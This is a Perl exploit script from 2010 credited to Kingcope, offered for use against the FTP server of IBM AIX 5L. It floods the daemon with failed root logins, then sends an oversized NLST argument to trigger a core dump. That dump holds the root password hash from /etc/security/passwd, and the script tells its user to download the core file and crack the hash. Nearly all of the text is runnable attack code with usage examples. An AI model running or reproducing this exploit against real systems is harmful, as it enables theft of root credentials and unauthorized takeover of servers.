aixcoredump-roothash.txt
Posted on 20 July 2010
### AIXCOREDUMP.PL --- ### --== ~ AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT ~ =-- ### CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd ### THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS ### SUCCESSFULLY TESTED ON IBM AIX 5.1 ### DISCOVERED & EXPLOITED BY KINGCOPE ### JULY 2010 use IO::Socket; $|=1; print "--== ~ AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT ~ =-- "; print "CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd "; print "BY KINGCOPE "; print "JULY 2010 "; if ($#ARGV < 1) { print "USAGE: ./AIXCOREDUMP.PL <target address> <your ip> [username] [password] "; print "SAMPLES: "; print "YOU HAVE A LOGIN ./AIXCOREDUMP.PL 192.168.1.150 192.168.1.25 kcope passwd "; print "USE GUEST ACCOUNT - NEEDS WRITE ACCESS IN /PUB ./AIXCOREDUMP.PL 192.168.1.150 192.168.1.25 "; exit; } $trgt = $ARGV[0]; $sock = IO::Socket::INET->new(PeerAddr => $trgt, PeerPort => '21', Proto => 'tcp'); srand(time()); $port = int(rand(31337-1022)) + 1025; $locip = $ARGV[1]; $locip =~ s/./,/gi; if ($ARGV[2] eq "") { $user = "ftp"; $pass = "c0deb4b3@roothash.com"; } else { $user = $ARGV[2]; $passwd = $ARGV[3]; } $x = <$sock>; print "*AIX EXPLOIT* REMOTE FTPD: $x "; if (fork()) { for ($k=0;$k<3;$k++) { print "*AIX EXPLOIT* POLLUTING FTPD*** "; print " $x"; print $sock "USER root "; $x = <$sock>; print " $x"; print $sock "PASS sexy "; $x = <$sock>; print " $x"; } print "*AIX EXPLOIT* ACCESSING FOLDER*** "; print $sock "USER $user "; $x = <$sock>; print " $x"; print $sock "PASS $passwd "; $x = <$sock>; print " $x"; if ($ARGV[2] eq "") { print "*AIX EXPLOIT* CWD TO PUB*** "; print $sock "CWD pub "; $x = <$sock>; print " $x"; } print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . " "; $x = <$sock>; print " $x"; print "*AIX EXPLOIT* TRIGGERING COREDUMP*** "; print $sock "NLST ~" . "A" x 5000 . " "; $x = <$sock>; while(<$sock>) { print; } print "*AIX EXPLOIT* (SUCCESS)*** *AIX EXPLOIT* NOW RETRIEVE THE core FILE WITH YOUR FAVOURITE CLIENT AND LOOKUP THE R00T HASH++CRACKIT!*** "; exit; } else { my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1); die "Could not create socket: $! " unless $servsock; my $new_sock = $servsock->accept(); while(<$new_sock>) { print $_; } close($servsock); } ## CHEERIO!